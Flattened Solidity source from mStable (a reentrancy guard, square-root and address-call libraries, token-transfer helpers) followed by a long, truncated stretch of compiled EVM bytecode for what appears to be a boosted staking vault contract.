AGPL-3.0-or-later pragma solidity 0.8.6; interface IBoostDirector { function getBalance(address _user) external returns (uint256); function setDirection( address _old, address _new, bool _pokeNew ) external; function whitelistVaults(address[] calldata _vaults) external; } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract InitializableReentrancyGuard { bool private _notEntered; function _initializeReentrancyGuard() internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; library Root { /** * @dev Returns the square root of a given number * @param x Input * @return y Square root of Input */ function sqrt(uint256 x) internal pure returns (uint256 y) { if (x == 0) return 0; else { uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return uint256(r < r1 ? r : r1); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title MassetHelpers * @author mStable * @notice Helper functions to facilitate minting and redemption from off chain * @dev VERSION: 1.0 * DATE: 2020-03-28 */ library MassetHelpers { using SafeERC20 for IERC20; function transferReturnBalance( address _sender, address _recipient, address _bAsset, uint256 _qty ) internal returns (uint256 receivedQty, uint256 recipientBalance) { uint256 balBefore = IERC20(_bAsset).balanceOf(_recipient); IERC20(_bAsset).safeTransferFrom(_sender, _recipient, _qty); recipientBalance = IERC20(_bAsset).balanceOf(_recipient); receivedQty = recipientBalance - balBefore; } function safeInfiniteApprove(address _asset, address _spender) internal { IERC20(_asset).safeApprove(_spender, 0); IERC20(_asset).safeApprove(_spender, 2**256 - 1); } }
0x60806040523480156200001157600080fd5b5060043610620002d85760003560e01c806380faa57d1162000185578063c891091311620000df578063df136d651162000092578063df136d6514620007dd578063e882025a14620007e7578063e9fad8ee14620007f1578063ebe2b12b14620007fb578063f62aa9751462000805578063f9ce7d47146200082d57600080fd5b8063c891091314620006c5578063c8f33c911462000776578063cd3daf9d1462000780578063cf7bf6b7146200078a578063d1af0c7d14620007a1578063d1b812cd14620007c957600080fd5b8063a3f5c1d21162000138578063a3f5c1d21462000633578063a694fc3a146200065b578063adc9772e1462000672578063b43082ec1462000689578063b88a802f14620006b1578063c5869a0614620006bb57600080fd5b806380faa57d14620005b3578063845aef4b14620005bd5780639065714714620005c8578063949813b814620005df57806395d89b4114620006175780639ed374f7146200062157600080fd5b8063372500ab116200023757806363c2a20a11620001ea57806363c2a20a14620004d057806367ba3d90146200051757806369940d79146200052e57806370a08231146200055557806372f702f314620005815780637b0a47ee14620005a957600080fd5b8063372500ab146200043357806338d3eb38146200043d5780633c6b16ab14620004655780633f2a5540146200047c578063523993da14620004a9578063594dd43214620004b957600080fd5b80631976214311620002905780631976214314620003c95780631be0528914620003e05780632056797114620003eb5780632af9cc4114620003f55780632e1a7d4d146200040c578063313ce567146200042357600080fd5b80628cc26214620002dd5780630255a03b146200030e57806306fdde0314620003275780630a6b433f146200034057806312064c34146200038557806318160ddd14620003c0575b600080fd5b620002f4620002ee36600462002e5a565b62000841565b604080519283526020830191909152015b60405180910390f35b620003256200031f36600462002e5a565b6200091d565b005b62000331620009f0565b60405162000305919062002fed565b6200036c6200035136600462002e5a565b6044602052600090815260409020546001600160401b031681565b6040516001600160401b03909116815260200162000305565b620003b16200039636600462002e5a565b6001600160a01b031660009081526038602052604090205490565b60405190815260200162000305565b603654620003b1565b62000325620003da36600462002e5a565b62000a8a565b6200036c62093a8081565b620003b1603b5481565b620003256200040636600462002fac565b62000ab6565b620003256200041d36600462002f78565b62000afa565b6040516012815260200162000305565b6200032562000b22565b620003b17f000000000000000000000000000000000000000000000a2a15d09519be00000081565b620003256200047636600462002f78565b62000b5e565b60335462000490906001600160a01b031681565b6040516001600160a01b03909116815260200162000305565b6200036c670494654067e1000081565b62000325620004ca36600462002fac565b62000dfd565b620004e7620004e136600462002f25565b62000e16565b604080516001600160401b0394851681529390921660208401526001600160801b03169082015260600162000305565b620003b16200052836600462002e5a565b62000e69565b7f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd262000490565b620003b16200056636600462002e5a565b6001600160a01b031660009081526037602052604090205490565b620004907f000000000000000000000000c3280306b6218031e61752d060b091278d45c32981565b620003b1603d5481565b620003b162000e9e565b620003b162eff10081565b62000325620005d936600462002e9a565b62000eb3565b620005f6620005f036600462002e5a565b62000ffb565b60408051948552602085019390935291830152606082015260800162000305565b6200033162001051565b6039546001600160a01b031662000490565b620004907f000000000000000000000000afce80b19a8ce13dec0739a1aab7a028d6845eb381565b620003256200066c36600462002f78565b62001062565b620003256200068336600462002f25565b6200107b565b620004907f000000000000000000000000ba05fd2f20ae15b0d3f20ddc6870feca6acd359281565b6200032562001094565b620003b160415481565b6200072a620006d636600462002e5a565b6042602052600090815260409020805460018201546002909201546001600160801b0380831693600160801b93849004821693818316939104909116906001600160401b0380821691600160401b90041686565b604080516001600160801b039788168152958716602087015293861693850193909352931660608301526001600160401b0392831660808301529190911660a082015260c00162000305565b620003b1603f5481565b620002f46200115b565b620003256200079b36600462002e5a565b62001177565b620004907f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd281565b60395462000490906001600160a01b031681565b620003b160405481565b620003b1603e5481565b62000325620011c4565b620003b1603c5481565b620003b17f000000000000000000000000000000000000000000000000000000000000003081565b603a5462000490906001600160a01b031681565b600080600080620008516200115b565b6001600160a01b03871660009081526042602052604081205492945090925090620008899087906001600160801b03168584620011f9565b90506000620008a182670494654067e1000062001277565b6001600160a01b038816600090815260426020526040902054909150620008d990600160801b90046001600160801b03168262003050565b6001600160a01b038816600090815260426020526040902060019081015462000910918a916001600160801b0316908790620011f9565b9550955050505050915091565b6200092762001295565b6039546001600160a01b031615620009745760405162461bcd60e51b815260206004820152600b60248201526a105b1c9958591e481cd95d60aa1b60448201526064015b60405180910390fd5b603980546001600160a01b0319166001600160a01b03831617905560405181906200099f9062002d65565b6001600160a01b039091168152602001604051809103906000f080158015620009cc573d6000803e3d6000fd5b50603a80546001600160a01b0319166001600160a01b039290921691909117905550565b60606034805462000a01906200311e565b80601f016020809104026020016040519081016040528092919081815260200182805462000a2f906200311e565b801562000a805780601f1062000a545761010080835404028352916020019162000a80565b820191906000526020600020905b81548152906001019060200180831162000a6257829003601f168201915b5050505050905090565b62000a9462001295565b603380546001600160a01b0319166001600160a01b0392909216919091179055565b3362000ac28162001303565b3360008181526038602052604090205462000add906200181a565b62000ae98484620018bc565b62000af481620019bd565b50505050565b3362000b068162001303565b3362000b12836200181a565b62000b1d81620019bd565b505050565b3362000b2e8162001303565b3360008062000b3d3362001bec565b9150915062000b4d8282620018bc565b505062000b5a81620019bd565b5050565b6033546001600160a01b0316331462000bba5760405162461bcd60e51b815260206004820181905260248201527f43616c6c6572206973206e6f7420726577617264206469737472696275746f7260448201526064016200096b565b600062000bc78162001303565b69d3c21bcecceda1000000821062000c375760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f74206e6f746966792077697468206d6f7265207468616e2061206d60448201526b696c6c696f6e20756e69747360a01b60648201526084016200096b565b6039546000906001600160a01b03161562000cf3576039546040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b15801562000c9057600080fd5b505afa15801562000ca5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000ccb919062002f92565b9050801562000cf357603a5460395462000cf3916001600160a01b0391821691168362001c39565b603c544290811062000d295762000d0e62093a808562003090565b603d5562000d2062093a808362003090565b603e5562000da7565b600081603c5462000d3b9190620030d5565b90506000603d548262000d4f9190620030b3565b905062093a8062000d61828862003050565b62000d6d919062003090565b603d55603e5460009062000d829084620030b3565b905062093a8062000d94828762003050565b62000da0919062003090565b603e555050505b603f81905562000dbb62093a808262003050565b603c5560408051858152602081018490527f6c07ee05dcf262f13abf9d87b846ee789d2f90fe991d495acd7d7fc109ee1f55910160405180910390a150505050565b3362000e098162001303565b3362000ae98484620018bc565b6043602052816000526040600020818154811062000e3357600080fd5b6000918252602090912001546001600160401b038082169350600160401b8204169150600160801b90046001600160801b031683565b6001600160a01b038116600090815260386020908152604080832054603790925282205462000e989162001c9e565b92915050565b600062000eae42603c5462001cc1565b905090565b600054610100900460ff168062000ec95750303b155b8062000ed8575060005460ff16155b62000f3d5760405162461bcd60e51b815260206004820152602e60248201527f436f6e747261637420696e7374616e63652068617320616c726561647920626560448201526d195b881a5b9a5d1a585b1a5e995960921b60648201526084016200096b565b600054610100900460ff1615801562000f60576000805461ffff19166101011790555b62000f6b8662000a94565b62000fe085858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050604080516020601f8901819004810282018101909252878152925087915086908190840183828082843760009201919091525062001cd892505050565b801562000ff3576000805461ff00191690555b505050505050565b6000806000806200100c8562001bec565b909350915060006200102086858562001d1c565b509050600080620010318862000841565b909250905062001042828462003050565b96508093505050509193509193565b60606035805462000a01906200311e565b336200106e8162001303565b3362000b123384620020a8565b81620010878162001303565b8262000ae98484620020a8565b33620010a08162001303565b33600081815260426020526040902080546001600160801b03808216909255600160801b90041680156200110457620011046001600160a01b037f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd216338362001c39565b600062001110620021af565b604080518481526020810183905291925033917fd6f2c8500df5b44f11e9e48b91ff9f1b9d81bc496d55570c2b1b75bf65243f51910160405180910390a2505062000b5a81620019bd565b6000806000806200116b6200221f565b50909590945092505050565b80620011838162001303565b60405182906001600160a01b038216907fa31b3b303c759fa7ee31d89a1a6fb7eb704d8fe5c87aa4f60f54468ff121bee890600090a262000b1d81620019bd565b33620011d08162001303565b33600081815260386020526040902054620011eb906200181a565b60008062000b3d3362001bec565b600080620012088585620030d5565b9050806200121b5760009150506200126f565b60008362001242576001600160a01b0387166000908152603760205260409020546200125c565b6001600160a01b0387166000908152603860205260409020545b90506200126a818362001277565b925050505b949350505050565b60006200128e8383670de0b6b3a764000062002328565b9392505050565b6200129f62002343565b6001600160a01b0316336001600160a01b031614620013015760405162461bcd60e51b815260206004820152601960248201527f4f6e6c7920676f7665726e6f722063616e20657865637574650000000000000060448201526064016200096b565b565b4260006200131182620023da565b90506000806000620013226200221f565b9250925092506000831180620013385750600082115b15620017cb5760408390556041829055603f8190556001600160a01b03861615620017c5576001600160a01b0386166000908152604260209081526040808320815160c08101835281546001600160801b03808216808452600160801b9283900482169684019690965260018401548082169584019590955293049092166060830152600201546001600160401b038082166080840152600160401b9091041660a08201529190620013ee9089908784620011f9565b905060006200140e8984604001516001600160801b0316876001620011f9565b90508115620016ac5760006200142d83670494654067e1000062001277565b905060006200143d8285620030d5565b9050604360008c6001600160a01b03166001600160a01b0316815260200190815260200160002060405180606001604052806200149788608001516001600160401b031662eff10062001491919062003050565b620023da565b6001600160401b03168152602001620014b8620014918e62eff10062003050565b6001600160401b03168152602001620014f788608001516001600160401b03168e620014e59190620030d5565b620014f1908662003090565b62002448565b6001600160801b0390811690915282546001810184556000938452602093849020835191018054948401516040948501518416600160801b026001600160401b03918216600160401b026001600160801b031990971691909316179490941790911617909155805160c0810190915280620015728a62002448565b6001600160801b031681526020016200159f87602001516001600160801b031685620014f1919062003050565b6001600160801b03168152602001620015b88962002448565b6001600160801b03168152602001620015d18562002448565b8760600151620015e2919062003022565b6001600160801b031681526020018a6001600160401b031681526020018660a0015160016200161291906200306b565b6001600160401b039081169091526001600160a01b038d166000908152604260209081526040918290208451918501516001600160801b03928316600160801b9184168202178255928501516060860151908316921690920217600182015560808301516002909101805460a0909401519183166001600160801b031990941693909317600160401b919092160217905550620017c19050565b6040518060c00160405280620016c28862002448565b6001600160801b0316815260200184602001516001600160801b03168152602001620016ee8762002448565b6001600160801b03168152602001620017078362002448565b856060015162001718919062003022565b6001600160801b0390811682526001600160401b03808b1660208085019190915260a08089015183166040958601526001600160a01b038f166000908152604283528590208651928701518516600160801b90810293861693909317815594860151606087015185169092029190931617600184015560808401516002909301805494909201518116600160401b026001600160801b0319949094169216919091179190911790555b5050505b62000ff3565b6001600160a01b0386161562000ff3576001600160a01b038616600090815260426020526040902060020180546001600160401b03861667ffffffffffffffff19909116179055505050505050565b60008111620018605760405162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b60448201526064016200096b565b6200186b81620024b3565b80603b60008282546200187f9190620030d5565b909155505060405181815233907f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d59060200160405180910390a250565b600080620018cc33858562001d1c565b336000908152604460209081526040808320805467ffffffffffffffff19166001600160401b0386161790556042909152812080546001600160801b03808216909255939550919350600160801b90920416906200192b828562003050565b905080156200196a576200196a6001600160a01b037f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd216338362001c39565b600062001976620021af565b604080518481526020810183905291925033917fd6f2c8500df5b44f11e9e48b91ff9f1b9d81bc496d55570c2b1b75bf65243f51910160405180910390a250505050505050565b6001600160a01b03811660009081526038602090815260408083205460379092528220549091670de0b6b3a7640000908162001a1a7f000000000000000000000000000000000000000000000a2a15d09519be00000086620030b3565b62001a26919062003090565b9050670de0b6b3a7640000811062001aee5760405163f8b2cb4f60e01b81526001600160a01b0386811660048301526000917f000000000000000000000000ba05fd2f20ae15b0d3f20ddc6870feca6acd35929091169063f8b2cb4f90602401602060405180830381600087803b15801562001aa157600080fd5b505af115801562001ab6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001adc919062002f92565b905062001aea82826200258e565b9250505b600062001afc858462001277565b905083811462000ff357808460365462001b179190620030d5565b62001b23919062003050565b6036556001600160a01b03861660009081526037602052604090208190558381111562001b9a576001600160a01b03861660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef62001b838785620030d5565b60405190815260200160405180910390a362000ff3565b60006001600160a01b0387167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef62001bd38488620030d5565b60405190815260200160405180910390a3505050505050565b6001600160a01b03811660009081526044602052604081205481906001600160401b03168162001c1d82866200269a565b9050600062001c2c86620027a6565b9196919550909350505050565b6040516001600160a01b03831660248201526044810182905262000b1d90849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152620028ab565b60008162001cb5670de0b6b3a764000085620030b3565b6200128e919062003090565b600081831162001cd257826200128e565b50919050565b62001cf16033805460ff60a01b1916600160a01b179055565b815162001d0690603490602085019062002d73565b50805162000b1d90603590602084019062002d73565b6001600160a01b0383166000908152604460209081526040808320546043909252822054829142916001600160401b03909116908615801562001d5d575085155b1562001dc75780158062001db157506001600160a01b0388166000908152604360205260408120805490919062001d985762001d9862003189565b6000918252602090912001546001600160401b03168311155b1562001dc75760008394509450505050620020a0565b861562001e8e576001600160a01b038816600090815260436020526040902062001df3600189620030d5565b8154811062001e065762001e0662003189565b6000918252602090912001546001600160401b03600160401b9091048116908316101562001e8e5760405162461bcd60e51b815260206004820152602e60248201527f496e76616c6964205f6669727374206172673a204d75737420636c61696d206560448201526d61726c69657220656e747269657360901b60648201526084016200096b565b600062001e9c8888620030d5565b62001ea990600162003050565b905060005b818110156200204257600062001ec5828b62003050565b6001600160a01b038c166000908152604360205260408120805492935090918390811062001ef75762001ef762003189565b60009182526020918290206040805160608101825292909101546001600160401b03808216808552600160401b830490911694840194909452600160801b90046001600160801b0316908201529150871080159062001f6c575080602001516001600160401b0316866001600160401b031611155b62001faa5760405162461bcd60e51b815260206004820152600d60248201526c092dcecc2d8d2c840cae0dec6d609b1b60448201526064016200096b565b600062001fc582602001516001600160401b03168962001cc1565b9050600062001feb83600001516001600160401b0316896001600160401b031662002984565b9050600083604001516001600160801b031682846200200b9190620030d5565b620020179190620030b3565b905062002025818d62003050565b9b5050505050508080620020399062003155565b91505062001eae565b506001600160a01b03891660009081526043602052604090208054620020999186918a90811062002077576200207762003189565b600091825260209091200154600160401b90046001600160401b031662001cc1565b9450505050505b935093915050565b60008111620020eb5760405162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b60448201526064016200096b565b6001600160a01b038216620021435760405162461bcd60e51b815260206004820152601b60248201527f496e76616c69642062656e65666963696172792061646472657373000000000060448201526064016200096b565b6200214f82826200299c565b80603b600082825462002163919062003050565b9091555050604080518281523360208201526001600160a01b038416917f9f9e4044c5742cca66ca090b21552bac14645e68bad7a92364a9d9ff18111a1c910160405180910390a25050565b33600090815260426020526040812060010154600160801b90046001600160801b031680156200221a5733600081815260426020526040902060010180546001600160801b03169055603a546039546200221a926001600160a01b0391821692909116908462002a82565b919050565b6000806000806200222f62000e9e565b90506000603f5482620022439190620030d5565b9050806200225e575060405460415490959094509092509050565b600081603d54620022709190620030b3565b9050600082603e54620022849190620030b3565b90506200229060365490565b1580620022a5575081158015620022a5575080155b15620022c1576040546041548596509650965050505050909192565b6000620022d9620022d160365490565b849062001c9e565b90506000620022f4603b548462001c9e90919063ffffffff16565b90508160405462002306919062003050565b8160415462002316919062003050565b87985098509850505050505050909192565b600081620023378486620030b3565b6200126f919062003090565b60007f000000000000000000000000afce80b19a8ce13dec0739a1aab7a028d6845eb36001600160a01b0316630c340a246040518163ffffffff1660e01b815260040160206040518083038186803b1580156200239f57600080fd5b505afa158015620023b4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000eae919062002e7a565b60006001600160401b03821115620024445760405162461bcd60e51b815260206004820152602660248201527f53616665436173743a2076616c756520646f65736e27742066697420696e203660448201526534206269747360d01b60648201526084016200096b565b5090565b60006001600160801b03821115620024445760405162461bcd60e51b815260206004820152602760248201527f53616665436173743a2076616c756520646f65736e27742066697420696e20316044820152663238206269747360c81b60648201526084016200096b565b603354600160a01b900460ff166200250e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016200096b565b6033805460ff60a01b1916905533600090815260386020526040812080548392906200253c908490620030d5565b909155506200257890506001600160a01b037f000000000000000000000000c3280306b6218031e61752d060b091278d45c32916338362001c39565b506033805460ff60a01b1916600160a01b179055565b600081620025a65750670de0b6b3a764000062000e98565b6000620025c1620025bb85620f4240620030b3565b62002abc565b90506000620025d08262002abc565b90506000620025e08284620030b3565b905080600a7f00000000000000000000000000000000000000000000000000000000000000306200261c88697f0e10af47c1c700000062001cc1565b620026289190620030b3565b62002634919062003090565b6200264890670de0b6b3a7640000620030b3565b62002654919062003090565b9350620026906729a2241af62c00006200268a670de0b6b3a76400006200268488670d99a8cec7e2000062003050565b62002984565b62001cc1565b9695505050505050565b6001600160a01b03811660009081526043602052604081205480620026c457600091505062000e98565b600080620026d4600184620030d5565b905060005b60808110156200279b57818310620026f1576200279b565b6000600262002701848662003050565b6200270e90600162003050565b6200271a919062003090565b6001600160a01b0388166000908152604360205260409020805491925090829081106200274b576200274b62003189565b6000918252602090912001546001600160401b039081169089161115620027755780935062002785565b62002782600182620030d5565b92505b5080620027928162003155565b915050620026d9565b509095945050505050565b6001600160a01b03811660009081526043602052604081205480620027ce5750600092915050565b600080620027de600184620030d5565b905060005b6080811015620028a157818310620027fb57620028a1565b600060026200280b848662003050565b6200281890600162003050565b62002824919062003090565b6001600160a01b03881660009081526043602052604090208054919250908290811062002855576200285562003189565b6000918252602090912001546001600160401b03164211156200287b578093506200288b565b62002888600182620030d5565b92505b5080620028988162003155565b915050620027e3565b5090949350505050565b600062002902826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031662002c5d9092919063ffffffff16565b80519091501562000b1d578080602001905181019062002923919062002f54565b62000b1d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016200096b565b60008183116200299557816200128e565b5090919050565b603354600160a01b900460ff16620029f75760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016200096b565b6033805460ff60a01b191690556001600160a01b0382166000908152603860205260408120805483929062002a2e90849062003050565b9091555062002a6b90506001600160a01b037f000000000000000000000000c3280306b6218031e61752d060b091278d45c3291633308462002a82565b50506033805460ff60a01b1916600160a01b179055565b6040516001600160a01b038085166024830152831660448201526064810182905262000af49085906323b872dd60e01b9060840162001c66565b60008162002acc57506000919050565b816001600160801b821062002ae65760809190911c9060401b5b600160401b821062002afd5760409190911c9060201b5b640100000000821062002b155760209190911c9060101b5b62010000821062002b2b5760109190911c9060081b5b610100821062002b405760089190911c9060041b5b6010821062002b545760049190911c9060021b5b6008821062002b615760011b5b600162002b6f828662003090565b62002b7b908362003050565b901c9050600162002b8d828662003090565b62002b99908362003050565b901c9050600162002bab828662003090565b62002bb7908362003050565b901c9050600162002bc9828662003090565b62002bd5908362003050565b901c9050600162002be7828662003090565b62002bf3908362003050565b901c9050600162002c05828662003090565b62002c11908362003050565b901c9050600162002c23828662003090565b62002c2f908362003050565b901c9050600062002c41828662003090565b905080821062002c52578062002c54565b815b95945050505050565b60606200126f848460008585843b62002cb95760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016200096b565b600080866001600160a01b0316858760405162002cd7919062002fcf565b60006040518083038185875af1925050503d806000811462002d16576040519150601f19603f3d011682016040523d82523d6000602084013e62002d1b565b606091505b50915091506200126a8282866060831562002d385750816200128e565b82511562002d495782518084602001fd5b8160405162461bcd60e51b81526004016200096b919062002fed565b610b7180620031b983390190565b82805462002d81906200311e565b90600052602060002090601f01602090048101928262002da5576000855562002df0565b82601f1062002dc057805160ff191683800117855562002df0565b8280016001018555821562002df0579182015b8281111562002df057825182559160200191906001019062002dd3565b50620024449291505b8082111562002444576000815560010162002df9565b60008083601f84011262002e2257600080fd5b5081356001600160401b0381111562002e3a57600080fd5b60208301915083602082850101111562002e5357600080fd5b9250929050565b60006020828403121562002e6d57600080fd5b81356200128e816200319f565b60006020828403121562002e8d57600080fd5b81516200128e816200319f565b60008060008060006060868803121562002eb357600080fd5b853562002ec0816200319f565b945060208601356001600160401b038082111562002edd57600080fd5b62002eeb89838a0162002e0f565b9096509450604088013591508082111562002f0557600080fd5b5062002f148882890162002e0f565b969995985093965092949392505050565b6000806040838503121562002f3957600080fd5b823562002f46816200319f565b946020939093013593505050565b60006020828403121562002f6757600080fd5b815180151581146200128e57600080fd5b60006020828403121562002f8b57600080fd5b5035919050565b60006020828403121562002fa557600080fd5b5051919050565b6000806040838503121562002fc057600080fd5b50508035926020909101359150565b6000825162002fe3818460208701620030ef565b9190910192915050565b60208152600082518060208401526200300e816040850160208701620030ef565b601f01601f19169190910160400192915050565b60006001600160801b0380831681851680830382111562003047576200304762003173565b01949350505050565b6000821982111562003066576200306662003173565b500190565b60006001600160401b0380831681851680830382111562003047576200304762003173565b600082620030ae57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615620030d057620030d062003173565b500290565b600082821015620030ea57620030ea62003173565b500390565b60005b838110156200310c578181015183820152602001620030f2565b8381111562000af45750506000910152565b600181811c908216806200313357607f821691505b6020821081141562001cd257634e487b7160e01b600052602260045260246000fd5b60006000198214156200316c576200316c62003173565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e